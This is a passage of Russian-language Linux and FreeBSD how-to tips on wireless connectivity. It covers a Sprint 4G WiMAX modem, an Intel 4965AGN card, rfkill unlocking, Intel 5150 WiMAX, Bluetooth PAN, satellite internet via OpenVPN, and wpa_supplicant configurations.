    linux-source linux-headers openssl unzip dos2unix patch gcc. Возможно у вас они
    будут называться немного иначе (у меня первые два такие kernel-debug
    kernel-headers), и это возможно не полный список.\
    
    3. Самое главное Sprint 4G Depelopment Pack, по данной ссылке всегда
    последняя версия, где взять предыдущие не знаю. Кстати, этот пакет, позволяет
    экспериментировать и под Windows, а затем можно немного отредактировав,
    перенести настройки в Linux, что я и сделал, так как не было уверенности в
    правильной работе драйверов под Linux. Модуль ядра, судя по коду, должен
    поддерживать VID=0x198F PID=0x0300, 0x0210, 0x0220, 0x15E, 0x015F, 0x0160. Под
    Lunix для своего модема VID и PID можно посмотреть командой lsusb,
    предварительно вставив его в USB.
    
    Скачиваем Sprint 4G Depelopment Pack, распаковываем его в любой каталог.
    В корне каталога Sprint4GDeveloperPack-1.6.1.2.2 (у вас может оказаться уже
    другая версия), находим там файл install.sh и немного его поправим.
    
    Если не хотите потом вводить путь к исходникам ядра, это можно сделать до
    запуска инсталлятора, отредактировав соответствующую строчку в файле install.sh
    
       KERNEL_SOURCES=${5:-/usr/src/linux};
    
    На случай если в директории /usr/src/kernels/ будет несколько версий исходников
    ядра, уточнить текущую версия ядра можно командой uname -r или например так, в
    данном случае, версия ядра, будет подставляться автоматически:
    
       KERNEL_SOURCES=${5:-/usr/src/kernels/`uname -r`};
    
    Ещё изменил параметр POWER_SAVE на Off, это на ваш вкус, работало в обоих случаях.
    
       POWER_SAVE_On_Off=${12:-On}
    
    Установка
    
    Запускаем install.sh
    На вопрос о лицензии нажимаем "y", далее если вы отредактировали install.sh
    жмём Enter до вопроса о корректности настроек, там надо нажать "y", после чего
    начнётся копирование файлов и сборка пакета. Ждём результата либо ошибок. У
    меня если и возникали ошибки, только из-за нехватки того или иного пакета.
    После ошибки опять запускаем, после стандартной процедуры вопросов появиться
    ещё один, тут выбираем "A" затем Enter.
    
    После сборки, нужно проверить загрузку и работу модуля, вставьте модем в USB
    разъём, затем выполните:
    
       modprobe drxvi314
    
    Теперь посмотрим появился ли у нас ещё один интерфейс
    
       ifconfig -a
    
    Если не помните какие у вас были интерфейсы, выгрузите модуль и сравните вывод
    
       rmmod drxvi314
       ifconfig -a
    
    Запомните имя интерфейса, он понадобиться в файле конфигурации.
    
    
    Конфигурация
    
    Если модуль ядра загружается и работает, его можно вставить в "автозагрузку" в
    конец файла /etc/rc.d/rc.local, если такого нет, создайте. Понадобиться
    сертификат из CCM, если не хотите выковыривать, можно скачать но с другим именем
    здесь. Благодаря этой
    ссылке и были подобраны правильные параметры для конфига. В CCM надо найти файл
    ca1.cer и конвертировать его командой
    
       openssl x509 -inform DER -in ca1.cer -outform PEM -out ca1.pem
    
    положите его куда хотите, например чтоб директория зря не пропадала в 
    /etc/Sprint4G/ca1.pem
    
    Туда же положим и конфиг /etc/Sprint4G/wimaxd.conf
    
       # Частотный план, не уверен что стоит писать сюда лишнее, 
       # иначе модем в автоматическом режиме может долбиться к другому провайдеру.
       BandwidthMHz                    10
       CenterFrequencyMHz              2540 2550 2560
    
       AuthEnabled                     Yes
       EAPMethod                       0
       UserIdentity                    'ваш_логин@wimax.comstar-uts.ru'
       UserPassword                    'ваш_пароль'
    
       ValidateServerCert              Yes
       CACertPath                      '/etc/Sprint4G/'
       CACertFileName                  '/etc/Sprint4G/ca1.pem'
    
       TTLSAnonymousIdentity           'Anonymous@wimax.comstar-uts.ru'
       TLSDevicePrivateKeyPassword     ''
       PrivateKeyPasswordFormat        'Ascii'
    
       AuthenticationTimeoutSec          10
       InvertMSKByteOrder                No
       AlwaysIncludeTLSLength            No
    
       EAPFragmentMaxLength              1398
       EAPPollingLoopIntervalMs          50
    
       TLSDevicePrivateKeyPassword     ''
       InnerNAIChange                  No
    
       NetworkSearchTimeoutSec         60
       LPSearchInShutDownEnabled       No
       NetworkEntryTimeoutSec          10
       NEToHighestCINRBaseStation      No
    
       BeceemEngineFileName            '/usr/lib/libengine_beceem.so'
    
       AuthEthernetToRADIUS              No
    
       # Автоподключение
       AutoReConnectEnabled              Yes
       AutoReDisconnectEnabled           No
       SkipNetSearch                     No
       AutoReConnectIntervalSec          1
       AutoReDisconnectIntervalSec       20
       LinkStatusRequestPeriodSec        2
    
       # Скрипт выполняется после установки соединения
       IPRefreshCommand                '/etc/Sprint4G/wimaxup.sh'
       # Можно заменить на такой вариант, естественно указав ваш интерфейс
       #IPRefreshCommand               'dhclient eth0'
       # Разрешает выполнять скрипт
       NetEntryIPRefreshEnabled        Yes
       # Вроде должен убивать dhclient, у меня не работало
       TerminateDHCPClient             No
    
       FirmwareFileName                  '/lib/firmware/macxvi350.bin'
       ConfigFileName                    '/lib/firmware/macxvi.cfg'
    
       # Управление логами
       #CSCMDebugLogLevel              4
       CSCMDebugLogLevel              1
       #AuthLogLevel                   5
       AuthLogLevel                   1
       AuthLogFileName                '/tmp/CM_Auth.log'
       AuthLogFileMaxSizeMB            1
       EngineLoggingEnabled            Yes
       EngineLogFileMaxSizeMB          2
       EngineLogFileName               '/tmp/CM_Engine.log'
    
    Немного автоматизации не помешает, не забудьте заменить eth0 на свой интерфейс,
    который определили при тестировании модуля.
    
    /etc/Sprint4G/wimaxup.sh
    
       #!/bin/bash
       varif=eth0
       res=`ifconfig $varif | grep -c "UP"`
       if [ ! "$res" == "0" ]; then
          ifdown $varif
       fi
       ifup $varif
    
    Проверка и использование
    
    Проверку лучше проводить в режиме полной отладки, для выявления ошибок
    
       CSCMDebugLogLevel 4
       AuthLogLevel 5
    
    Необходимо запустить демон в отладочном режиме и его клиент в разных консолях
    Демон (Сервер)
    
       wimaxd -D -c /etc/Sprint4G/wimaxd.conf
    
    консоль клиента, через неё будем управлять демоном (Сервером).
    
       wimaxc -i
    
    Набор возможных команд консоли можно узнать запросом help.
    В текущем конфиге, если есть сигнал, сразу начнётся попытка подключения, этого
    нам не надо, отредактируем секцию "Автоподключение". Так как автоподключение
    отключено, подключаться надо в ручном режиме:
    
    Сначала ищем базовые станции
    
       > search
    
    Если найдены несколько, подключаемся с наилучшим сигналом, или к единственной, например
    
       > connect 0
    
    Для просмотра статуса соединения, нужно выполнять команды status, linkstats.
    Так команда status при установленном соединении содержит строчку "LINKUP ACHIEVED".
    
    IP адрес можно менять перезапрашивая, не разрывая соединение, и установка
    самого соединения не значит автоматического получения адреса, настройки
    маршрутов и др., этим должен заниматься dhclient.
    
    Для корректного выхода и выгрузки сервера надо сначала выключить модуль
    
       > shutdown
    
    Затем остановить и выгрузить сервер (демон)
    
       > server stop
    
    Если выгрузите сервер и не остановите работу модуля командой shutdown,
    соединение не будет разорвано и продолжит работать само по себе потребляя трафик.
    
    Для нормальной работы, отключим отладку в логах
    
       CSCMDebugLogLevel 1
       AuthLogLevel 1
    
    и запустим сервер в качестве демона
    
       wimaxd -c /etc/Sprint4G/wimaxd.conf
    
    Нормальных средств управления нет, хотя пишут что в сети гуляют какие-то
    скрипты. Но есть исходники клиента и сервера, при желании можно разобраться.
    Так сервер открывает порт 5200, если туда подключиться telnet-ом, можно увидеть
    текстовое приглашение, правда текстовые команды он от вас принимать не будет.
    
    Безопасность
    
    В отладочных логах сохраняются логин и пароль, поэтому не забывайте их удалять,
    а после экспериментов отключите отладочные логи. Не забывайте также что логин и
    пароль хранятся в открытом виде в файле конфигурации.
    
    Нюансы, Недостатки, Ошибки
    
    После обновления ядра, понадобиться пересобирать модуль.
    Модуль ядра иногда работает не стабильно, например на Fedora 14 приходиться его
    выгружать, вставлять устройство загружать или в ином порядке плясать с бубном,
    пару раз система зависала, хотя может проблема с железом. На версии Fedora 15,
    работает без замечаний.
    Если индикатор на модеме гаснет во время поиска сети, либо во время
    подключения, скорее всего ему не хватает питания, для исправления ситуации
    пришлось использовать USB-HUB с отдельным источником.
    Сам модем плохо ловит сеть в помещении, хотя раньше работал, видимо работа сети
    стала хуже, работает только у окна.
    
    Сервер (демон) иногда при завершении работы выдаёт ошибку и/или зависает,
    приходиться его "убивать".
    
    Иногда если не выгружен dhclient который запускал сервер (демон) для его
    интерфейса, то сервер (Beceem Connection Manager Server) может повторно не
    запуститься, ругаясь на занятый сокет, приходиться dhclient "убивать" вручную.
    
    После остановки сервера, остаётся "активным" интерфейс, его приходиться вручную
    деактивировать ifconfig eth0 down, хотя можно этого и не делать, если не мешает.
    
    Нет возможности или не нашёл, запуска скрипта при отключении, для деактивации интерфейса.
    
     
    ----* Настройка Intel Wireless WiFi Link 4965AGN во FreeBSD 8.0   Автор: Селин Павел  [комментарии]
     
    Имеется ноутбук Toshiba Satellite A200 с беспроводной картой на чипсете Intel
    4965AGN. Установлена ОС FreeBSD 8-STABLE и имеется огромное желание завести WiFi.
    
    Определяем наличие карты:
    
       pciconf -lv
    
    видим none@pci......
    и подпись "Intel Wireless WiFi Link 4965AGN......."
    
    Определяем драйвер для используемого Wifi путем поиска в системных руководствах:
    
       man -k 4965AGN
    
       iwn(4)
    
    Читаем руководство по найденному драйверу:
    
       man iwn
    
    Видим что данный софт, как раз таки обслуживает устройство 4965AGN, и для его
    включения необходимо либо включить в loader.conf строку if_iwn_load="YES", либо
    пересобрать ядро с
    
       device iwn
       device iwnfw
    
    Поддержка необходимых для работы wifi-карты устройств wlan, pci и firmware уже
    включена в ядро GENERIC.
    
    Пересобираем ядро или правим /boot/loader.conf, перезагружаем систему и видим
    появление нового устройства iwn0.
    
    Находим в man rc.conf в разделе ifconfig строчку:
    
       "One or more wlan(4) device must be created for each wireless device as of FreeBSD 8.0"
    
    т.е. использовать iwn0 на прямую в ifconfig нельзя, а нужно создать отдельные
    wifi-интерфейсы (ifconfig wlan0 create wlandev iwn0). В /etc/rc.conf добавим:
    
        vaps_iwn0="wlan0" # если нужно использовать VAP (virtual access point)
        wlans_iwn0="wlan0"
    
    и после перезагрузки видим полноценно функционирующий интерфейс wlan0:
    
       ifconfig wlan0 up scan
    
    Для настройки соединения правим /etc/wpa_supplicant.conf (man wpa_supplicant.conf) 
    
       network={
         ssid="идентификатор сети"
         psk="ключ доступа"
       }
    
    и запускаем 
    
       /etc/rc.d/wpa_supplicant start wlan0
       dhclient wlan0
    
    Если все работает, добавляем в /etc/rc.conf:
    
       ifconfig_wlan0="WPA DHCP"
    
     
    ----* Изменение порядка настройки беспроводного соединения во FreeBSD 8   Автор: mvalery  [комментарии]
     
    В описании (http://www.freebsd.org/releases/8.0R/relnotes-detailed.html) релиза
    FreeBSD 8.0 сообщается об изменениях в организации поддержки беспроводных
    сетей. Дословно написано следующее: "Подсистема поддержки беспроводных сетей
    (net80211) в настоящий момент использует псевдо-интерфейс именуемый wlanN
    вместо использования напрямую имени драйвера - такого как em0."
    
    Это серьезное изменение, которое привело к тому, что у всех перешедших на
    FreeBSD 8.0, беспроводное соединение потеряло работоспособность. На эту
    проблему еще год назад указывалось в  статье.
    
    Беспроводное соединение восстанавливается путем внесения минимальных изменений
    в конфигурационный файл /etc/rc.conf:
    
    Старый вариант (FreeBSD 7.2 и более ранние версии):
    
       ifconfig_ral0="DHCP ssid office1"
    
    Новый вариант (FreeBSD 8.0):
    
       wlans_ral0="wlan0"
       ifconfig_wlan0="DHCP ssid office1"
    
    То есть, если раньше все параметры моей WiFi карты Edimax EW-7128g были
    "привязаны" непосредственно к драйверу устройства ral0, то сейчас на базе
    драйвера устройства ral0 создается псевдо-интерфейс wlan0. В дальнейшем
    конфигурируется псевдо-интерфейс wlan0.
    
     
    ----* Решение проблем с WiFi в Ubuntu 9.10 (доп. ссылка 1)   Автор: Князь  [комментарии]
     
    После обновления Ubuntu на ноутбуке (Dell Vostro A860) до версии 9.10 перестал
    работать Wifi при абсолютной тишине в логах. Модуль ath5k грузится без ошибки и
    правильно распознает чип от Atheros. А Network Manager скупо пишет "Устройство
    не готово".
    
    После продолжительного гугления выяснилось, что все дело в некорректной работе
    функциональной кнопки (Fn + F11), отвечающей за включение/отключение Wifi и Bluetooth:
    
       $ tail /sys/class/rfkill/*/{state,name,type,persistent}
       ==> /sys/class/rfkill/rfkill1/state <==
       0
       ==> /sys/class/rfkill/rfkill2/state <==
       0
       ==> /sys/class/rfkill/rfkill3/state <==
       0
       ==> /sys/class/rfkill/rfkill1/name <==
       phy0
       ==> /sys/class/rfkill/rfkill2/name <==
       dell-wifi
       ==> /sys/class/rfkill/rfkill3/name <==
       dell-bluetooth
       ==> /sys/class/rfkill/rfkill1/type <==
       wlan
       ==> /sys/class/rfkill/rfkill2/type <==
       wlan
       ==> /sys/class/rfkill/rfkill3/type <==
       bluetooth
       ==> /sys/class/rfkill/rfkill1/persistent <==
       0
       ==> /sys/class/rfkill/rfkill2/persistent <==
       0
       ==> /sys/class/rfkill/rfkill3/persistent <==
       0
    
    Как видим, rfkill1 и rfkill2 имеют тип wlan. Состояние (state) у обоих равно 0,
    означающему SOFT LOCK. Кроме состояния 0 могут быть 1 и 2, UNLOCK и HARD LOCK соответственно.
    
    Вся проблема состоит в том, что при нажатии на упомянутую ранее функциональную
    кнопку состояние переключается только между значениями SOFT LOCK и HARD LOCK,
    минуя UNLOCK. Из-за этого блокируется переход интерфейса Wifi в активный режим,
    наглядно демонстрируемый командой
    
       $ sudo ifconfig wlan0 up
       SIOCSIFFLAGS: Unknown error 132
    
    Решение состоит в принудительном переводе в состояние UNLOCK.
    Для этого пишем простой скрипт
    
       #!/bin/sh
       for i in /sys/class/rfkill/rfkill*/type;
       do
          type="`cat $i`"
          if [ "$type" = "wlan" ];
          then
             n="`echo $i | sed -r 's%/type$%%'`";
             echo 1 > ${n}/state;
          fi;
       done;
    
    Сохраняем скрипт в файл "/usr/local/sbin/unlock-wlan" и делаем его исполняемым
    
       $ sudo chmod +x /usr/local/sbin/unlock-wlan
    
    После ручного запуска скрипта надо перезапускать Network Manager - иначе
    он ничего не заметит.
    Теперь настраиваем Upstart для исполнения нашего скрипта при загрузке системы,
    перед стартом Network Manager. Для этого создаем файл "/etc/init/unlock-wlan.conf"
    
       # unlock-wlan - unlock wireless device
       #
       description "unlock wireless device"
       
       # Скрипт запускается перед настройкой сетевых интерфейсов
       start on starting networking
       
       task
      
       exec /usr/local/sbin/unlock-wlan
    
     
    ----* Настройка WiMAX соединения в Linux, с картой Intel PRO WiFi/WiMax 5150(5350)   Автор: pavlinux  [комментарии]
     
    По причине не любви к торчащим изо всех щелей USB-свисткам,
    была выбрана PCI карта Intel 5150, или аналогичная ей, - 5350,
    полностью схожи, кроме количества подключаемых антен, в 5350
    из 3 штуки, заявленая скорость в 450Мб/сек., и пр. вкусности.
    
    1. Настройка ядра.
    
    Начиная с версии 2.6.26, драйвер поддерживающий сию карту находится в основной ветке ядра.
    
    а. Поддержка стека WiMax:
    
         Networking support -->
    		<M> WiMAX Wireless Broadband support
    
    б. Для подержки карты на PCI шине, необходимо включить следующие:
    
         Device Drivers
    		<M> MMC/SD/SDIO card support  --->
    
    Внтури раздела MMC ничего включать ненадо, кроме поддержки отладочной
    информации, если конечно Вам нужно.
    
    с. Выбор драйвера - PCI (он же SDIO) и/или USB:
    
        Device Drivers -->
    		[*] Network device support  --->
    			WiMAX Wireless Broadband devices  --->
    				<M> Intel Wireless WiMAX Connection 2400 over USB (including 5x50)
    				<M> Intel Wireless WiMAX Connection 2400 over SDIO
    				(8) WiMAX i2400m debug level
    
    
    Для более раних версий ядер, но не ранее 2.6.23 драйвера находятся на сайте http://linuxwimax.org/Download
    
    Процесс компиляции и установки описан во включённых README.
    
       # make && make modules_install && make install && update-initramfs -u;
    
    2. Установка Firmware.
    
    Необходимо скопировать последнюю версию firmware с вышеуказаного сайта.
    Поместить в каталог с остальными firmware, в основных дистрибутивах это каталог /lib/firmware/
    Далее нужно переименовать скаченный файл в соответстующий типу вашего устройства:
    
       i2400-fw-usb-1.4.sbcf - для USB устройства или
       i2400-fw-sdio-1.4.sbcf - для PCIe карты.
    
    Проверить какую именно firmware требует установленый драйве, можно командой:
    
       # modinfo i2400m-usb || modinfo i2400m-sdio
    
    3. Установка Порльзовательских приложений.
    
    3.1 Intel WiMAX Tools.
    
        # cd /usr/src
        # git clone git://git.kernel.org/pub/scm/linux/kernel/git/inaky/wimax-tools.git
        # cd wimax-tools/
        # sh bootstrap
        # ./configure --build i386 \
                      --with-i2400m=/usr/src/linux \
                      --sysconfdir=/etc \
                      --localstatedir=/var;
    
        # make install;
    
    3.2 Intel WiMAX Network Service.
    
       # wget "http://linuxwimax.org/Download?action=AttachFile&do=get&target=WiMAX-Network-Service-1.4.0.tar.bz2"
       # tar -xf WiMAX-Network-Service-1.4.0.tar.bz2
       # cd  WiMAX-Network-Service-1.4.0
       # sh bootstrap
       # ./configure --build i386 \
                     --with-i2400m=/usr/src/linux \
                     --sysconfdir=/etc;
       # make install
    
    3.3 WiMAX Binary Supplicant.
    
       # wget "http://linuxwimax.org/Download?action=AttachFile&do=get&target=Intel-WiMAX-Binary-Supplicant-1.4.0.tar.bz2"
       # tar -xf Intel-WiMAX-Binary-Supplicant-1.4.0
       # cd Intel-WiMAX-Binary-Supplicant-1.4.0
       # ./install_supplicant.sh install
    
    
    4. Запуск WiMax демона.
    
       # rm /var/run/wimaxd.pid
       # /etc/init.d/wimax start
    
    5. Соединение.
    
       # wimaxcu status
       # wimaxcu ron
       # wimaxcu scan
       # wimaxcu connect network 4
       # dhclient wmx0
       # wimaxcu status link
       # wimaxcu status connect
    
    
    6. Подробное описание man wimaxcu.
    
    7. Дополнительная информация.
    
    * http://linuxwimax.org/FAQ
    * http://ru.wikipedia.org/wiki/WiMAX
    * http://www.intel.com/network/connectivity/products/wireless/wimax/wifi/index.htm
    * http://www.yotatester.ru/obzor-podklyuchenie-i-test-skorosti-intel-wifiwimax-51505350-modemov/
    * http://lists.linuxwimax.org/pipermail/wimax/
    
     
    ----* Установка PAN-соединения через bluetooth во FreeBSD 7.2   Автор: shurik  [комментарии]
     
    Рассказ об организации выхода ноутбутка  в сеть через комуникатор Toshiba
    Portege G810 с Windows Mobile 6.1 на борту,
    не позволяющий использовать его в качестве gprs-модема, но позволяющий
    организовать соединение с ПК
    через bluetooth PAN. 
    
    В состав FreeBSD 7.2 был включен демон btpand с реализацией поддержки профилей
    Bluetooth Network Access Point (NAP),
    Group Ad-hoc Network (GN) и Personal Area Network User (PANU). Связывание комуникатора с 
    ноутбуком через bluetooth я описывать не буду - это хорошо изложено в хендбуке 
    (http://www.freebsd.org/doc/ru/books/handbook/network-bluetooth.html). 
    Для использования btpand нам необходимо знать BD_ADDR не только коммуникатора, но и локального ПК. 
    
    Узнать его можно так:
    
       # hccontrol Read_BD_ADDR
       BD_ADDR: 00:1a:6b:df:1b:c9
    
    Для удобства добавим BD_ADDR комуниактора и ПК в /etc/bluetooth/hosts:
    
       00:1a:6b:df:1b:c9 hp6710s
       00:1b:24:a8:9c:76 g810
    
    Далее все как описано в man 8 btpand:
    
       # ifconfig tap0 create
    
       # btpand -a g810 -d hp6710s -s NAP -i tap0
    
       btpand[1986]: Searching for NAP service at 00:1b:24:a8:9c:76
       btpand[1986]: Found PSM 15 for service NAP
       btpand[1986]: Opening connection to service 0x1116 at 00:1b:24:a8:9c:76
       btpand[1986]: channel_open: (fd#4)
       btpand[1986]: Using interface tap0 with addr 00:00:6b:df:1b:c9
       btpand[1986]: channel_open: (fd#5)
    
       # dhclient tap0
    
       DHCPDISCOVER on tap0 to 255.255.255.255 port 67 interval 5
       DHCPOFFER from 192.168.0.1
       DHCPREQUEST on tap0 to 255.255.255.255 port 67
       DHCPACK from 192.168.0.1
       bound to 192.168.0.238 -- renewal in 129600 seconds.
    
    Все можем работать:)
    
     
    ----* Настройка спутникового интернета через Skystar3 в Ubuntu Linux (доп. ссылка 1)   Автор: Князь  [комментарии]
     
    Описывается настройка спутникового интернета провайдера "Радуга Интернет" через OpenVPN.
    
    После установки спутниковой карты в свободный слот PCI и загрузки ОС создаем
    файл "/etc/modprobe.d/dvb_core.modprobe"
    
       options dvb_core dvb_shutdown_timeout=915360000
    
    Этим мы препятствуем "засыпанию" карты. В новых ядрах, в отличие от старых, 
    установка параметра "dvb_shutdown_timeout" в 0 не помогает и потому надо выставлять 
    заведомо большое значение таймаута (в секундах).
    
    Перезагружаем компьютер.
    
    Устанавливаем требуемые утилиты
    
       $ sudo aptitude install dvb-utils
    
    Создаем файл /etc/channels.conf
    
       Raduga:11671:v:0:18200:0:0:0
    
    Здесь:
    Raduga - название канала. Может быть любым.
    11671 - частота
    v - поляризация. Может быть H - горизонтальная и V - вертикальная
    0 - FEC: 0 - Авто, 3 - 3/4,...
    18200 - Величина потока (Symbol rate)
    0 - Видео PID
    0 - Аудио PID
    0 - Program id
    
    Пробуем залочиться на сигнал
    
       $ szap -c /etc/channels.conf -x -n 1
       
       reading channels from file '/etc/channels.conf'
       zapping to 1 'Raduga':
       sat 0, frequency = 11671 MHz V, symbolrate 18200000, vpid = 0, apid = 0
       using '/dev/dvb/adapter0/frontend0' and '/dev/dvb/adapter0/demux0'
       status 07 | signal 9797 | snr 3270 | ber 0000ff00 | unc 00000000 |
       status 1f | signal 9696 | snr d344 | ber 00001800 | unc 00000000 | FE_HAS_LOCK
    
    Ключевые значения: "status 1f" и "FE_HAS_LOCK". Остальные поля указывают уровень сигнала, 
    количество ошибок и т.п. Когда устойчивый сигнал будет получен, szap завершит свою работу.
    
    Теперь отключим rp_filter, фильтрующий пакеты которые не могут уйти через тот
    же интерфейс что и пришли.
    В нашем случае пакет приходит через один интерфейс, а уходит через другой 
    
       $ sudo sh -c 'echo 0 > /proc/sys/net/ipv4/conf/dvb0_0/rp_filter'
    
    Создаем сетевой интерфейс спутниковой карты
    
       $ sudo dvbnet -p 1234
    
    где "1234" - ваш PID. После выполнения команды должен появиться сетевой
    интерфейс "dvb0_0" (неактивный).
    
    Настраиваем интерфейс
    
       $ sudo ifconfig dvb0_0 hw ether YOUR-MAC-ADDRESS YOUR-IP-ADDRESS netmask 255.255.255.0 up
    
    где YOUR-MAC-ADDRESS и YOUR-IP-ADDRESS соответственно MAC-адрес и IP-адрес вашей подписки.
    
    Смотрим на наличие входящего трафика на интерфейсе dvb0_0
    
       $ sudo dvbtraffic
    
       -PID--FREQ-----BANDWIDTH-BANDWIDTH-
       0000    10 p/s     1 kb/s    15 kbit
       0010     0 p/s     0 kb/s     1 kbit
       0011     0 p/s     0 kb/s     1 kbit
       0014     0 p/s     0 kb/s     1 kbit
       0032    60 p/s    11 kb/s    90 kbit
       003c    10 p/s     1 kb/s    15 kbit
       003d    31 p/s     5 kb/s    47 kbit
       0064    13 p/s     2 kb/s    20 kbit
    
    
    Если программа ничего не выводит, то проблемы могут быть в неправильных
    параметрах или "заснула" спутниковая карта.
    
    Правим конфигурационный файл /etc/network/interfaces и добавляем
    
       auto dvb0_0
       iface dvb0_0 inet manual
       pre-up sh -c '/usr/bin/dvbnet -a 0 -p 1234 > /dev/null'
       up ifconfig $IFACE hw ether YOUR-MAC-ADDRESS YOUR-IP-ADDRESS netmask 255.255.255.0 up
       up sh -c 'echo 0 > /proc/sys/net/ipv4/conf/dvb0_0/rp_filter'
       up sh -c '/usr/bin/szap -c /etc/channels.conf -n 1 -x'
       down ifconfig $IFACE down
       down /usr/bin/dvbnet -d 0
    
    
    Теперь приступим к установке и настройке openvpn
    
    Установим openvpn
    
       $ sudo aptitude install openvpn
    
    Скачаем из личного кабинета архив с ключами для openvpn. Из архива распакуем файлы 
    ca.crt, client.ovpn, i0xxxxxx.csr, i0xxxxxx.crt, i0xxxxxx.key.
    
    Скопируем все эти файлы в директорию /etc/openvpn
    
    Сменим права доступа к файлу i0xxxxxx.key
    
       $ sudo chmod 0400 /etc/openvpn/i0xxxxxx.key
    
    
    Переименуем файл client.ovpn в raduga.conf и отредактируем его. 
    В итоге должно получиться примерно такое содержание
    
       client
       dev tap
       # dev-node Raduga
       proto udp
       
       remote 80.81.208.66 55032
       
       resolv-retry infinite
       nobind
       persist-key
       persist-tun
       
       ca /etc/openvpn/ca.crt
       cert /etc/openvpn/i0xxxxxx.crt
       key /etc/openvpn/i0xxxxxx.key
       
       ns-cert-type server
       verb 3
       comp-lzo
       comp-noadapt
       
       auth-user-pass /etc/openvpn/password.txt
       route-up /etc/openvpn/tap0-route.sh
    
    Создаем файл /etc/openvpn/password.txt с именем и паролем подписки
    
       user
       password
    
    и делаем его доступным на чтение только владельцу
    
       $ sudo chmod 0400 /etc/openvpn/password.txt
    
    Создаем скрипт /etc/openvpn/tap0-route.sh, выполняемый после поднятия роутов.
    
       netstat -rn | \
       sed '1,2d' | \
       awk '{ \
         if ($1 == "0.0.0.0" && $2 == "10.251.32.1" && $3 == "0.0.0.0" && $8 != "tap0") { \
         EX=sprintf("/sbin/route del -net 0.0.0.0/0 gw %s dev %s && /sbin/route add -net 0.0.0.0/0 gw %s dev tap0\n", \
         $2, $8, $2); system(EX); } }'
    
    В моем случае openvpn дефолтовый маршрут постоянно вешал на интерфейс dvb0_0 
    и пришлось прибегнуть к принудительной привязке скриптом роута к tap0. Делаем скрипт исполняемым
    
       $ sudo chmod +x /etc/openvpn/tap0-route.sh
    
    Редактируем файл /etc/default/openvpn и добавляем строку
    
       AUTOSTART="raduga"
    
    Пробуем соединиться к провайдеру из консоли
    
       $ sudo openvpn /etc/openvpn/raduga.conf
    
    Если успешно соединились с сервером, закрываем соединение нажатием "ctrl+c".
    
    Перезапускаем даемон
    
       $ sudo /etc/init.d/openvpn restart
    
     
    ----* Настройка беспроводного соединения в Linux с использованием LEAP, WPA или WPA2 (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Примеры настройки LEAP, WPA или WPA2 в Linux при помощи wpa_supplicant 
    (http://hostap.epitest.fi/wpa_supplicant/) В Debian пакет wpasupplicant, 
    также имеются пакеты с GUI интерфейсом - kwlan и wpagui.
    
    WPA 
    ---
    
    Создаем файл конфигурации, например /etc/wpa_supplicant.conf
    
       ctrl_interface=/var/run/wpa_supplicant
       ctrl_interface_group=0
       eapol_version=1
       # ap_scan=2 was the one for me you may try 0 or 1 indstead of 2
       ap_scan=2
       fast_reauth=1
       network={
            ssid="SSID сети"
            proto=WPA
            key_mgmt=WPA-PSK
            pairwise=TKIP
            group=TKIP
            psk="пароль доступа"
       }
    
    
    WPA2-Personal
    -------------
    
    Файл конфигурации:
    
       ctrl_interface=/var/run/wpa_supplicant
       ctrl_interface_group=0
       ap_scan=1
       network={
            ssid="SSID сети"
            proto=RSN
            key_mgmt=WPA-PSK
            pairwise=CCMP TKIP
            group=CCMP TKIP
            psk="пароль доступа"
       }
    
    
    LEAP
    ----
    
    Файл конфигурации:
    
       ctrl_interface=/var/run/wpa_supplicant
       ctrl_interface_group=0
       eapol_version=1
       ap_scan=1
       fast_reauth=1
    
       network={
         scan_ssid=1
         mode=0
         ssid="SSID сети"
         proto=WPA
         key_mgmt=WPA-EAP
         pairwise=TKIP
         group=TKIP
         eap=LEAP
         priority=2
         auth_alg=LEAP
         eapol_flags=0
         identity="идентификатор пользователя"
         password="Пароль достутпа"
    }
    
    "SSID сети", "идентификатор пользователя" и "пароль достутпа" заменяем на
    полученные от администратора сети данными.
    
    Далее поднимаем wifi интерфейс (Intel Pro Wireless 3945ABG/BG):
       ifconfig wlan0 down
       iwconfig wlan0 essid "имя сети"
       ifconfig wlan0 up
    
    Запускаем wpa_supplicant:
       wpa_supplicant -iwlan0 -c /etc/wpa_supplicant.conf -Dwext -dd
    
    Для драйвера ipw2200, интерфейс будет eth1:
      wpa_supplicant -d -c /etc/wpa_supplicant.conf -ieth1 -Dwext -dd
    Для madwifi - ath0:
      wpa_supplicant -d -c /etc/wpa_supplicant.conf -iath0 -Dmadwifi -dd
    
    
    Посмотреть состояние соедиения можно через wpa_cli или GUI интерфейс wpa_gui. 
    
    Для получения IP адреса по DHCP нужно запустить DHCP-клиент:
       dhcpcd wlan0 
    
    Для настройки соединение двух машин в Ad-Hoc режиме можно использовать примерно такую комбинацию:
    
       modprobe ipw3945
       iwconfig eth1 mode Ad-Hoc
       iwconfig eth1 essid "testnet"
       iwconfig eth1 key restricted
       iwconfig eth1 channel 1
       ifconfig eth1 192.168.1.1 up
       iwconfig eth1 key s:12345
    
    где, testnet имя сети, а 12345 пароль.
    
     
    ----* Настройка работы беспроводной карты на базе Broadcom BCM43xx в Ubuntu (доп. ссылка 1)   Автор: E@zyVG  [комментарии]
     
    После установки Ubuntu 8.04 по умолчанию не работают беспроводные карты на базе
    чипов Broadcom BCM43xx из-за отсутствия firmware.
    Начиная с Linux ядра 2.6.24 работу данных карт в Linux обеспечивает драйвер b43, 
    в более ранних версиях использовался драйвер bcm43xx.
    
    Для включения работы карты нужно установить пакет b43-fwcutter и получить firmware:
    
       sudo apt-get install b43-fwcutter
    
    и активировать на ноутбуке адаптер. 
    Также можно воспользоваться меню  Menu / System / Administration / Hardware Drivers.
    
    Драйвером b43 поддерживаются чипы:
    
        * bcm4303 (802.11b)
        * bcm4306
        * bcm4309 (только 2.4GHz)
        * bcm4311 rev 1 / bcm4312
        * bcm4311 rev 2 / bcm4312 (с 2.6.24 ядром работает через доп. патчи)
        * bcm4318
    
    В настоящее время нет поддержки: 
        * 802.11a для серий 4309 и 4312;
        * BCM 4328/4329
        * не реализованы возможности представленные в проекте стандарта 802.11n;
    
    Сайт разработчиков драйвера: http://wireless.kernel.org/en/users/Drivers/b43
    
     
    ----* Обеспечение работы беспроводной карты в Ubuntu 7.10 через ndiswrappe (доп. ссылка 1)   Автор: silverghost  [комментарии]
     
    1. Устанавливаем ndiswrapper:
    
        sudo apt-get install ndiswrapper-common ndiswrapper-utils-1.9
    
    2. Распаковываем куда нибудь Windows драйверы и пишем из под пользователя root такие команды:
    
        ndiswrapper -i bcmwl5.inf
        modprobe ndiswrapper
        echo "blacklist bcm43xx" >> /etc/modprobe.d/blacklist
        echo "ndiswrapper" >> /etc/modules
    
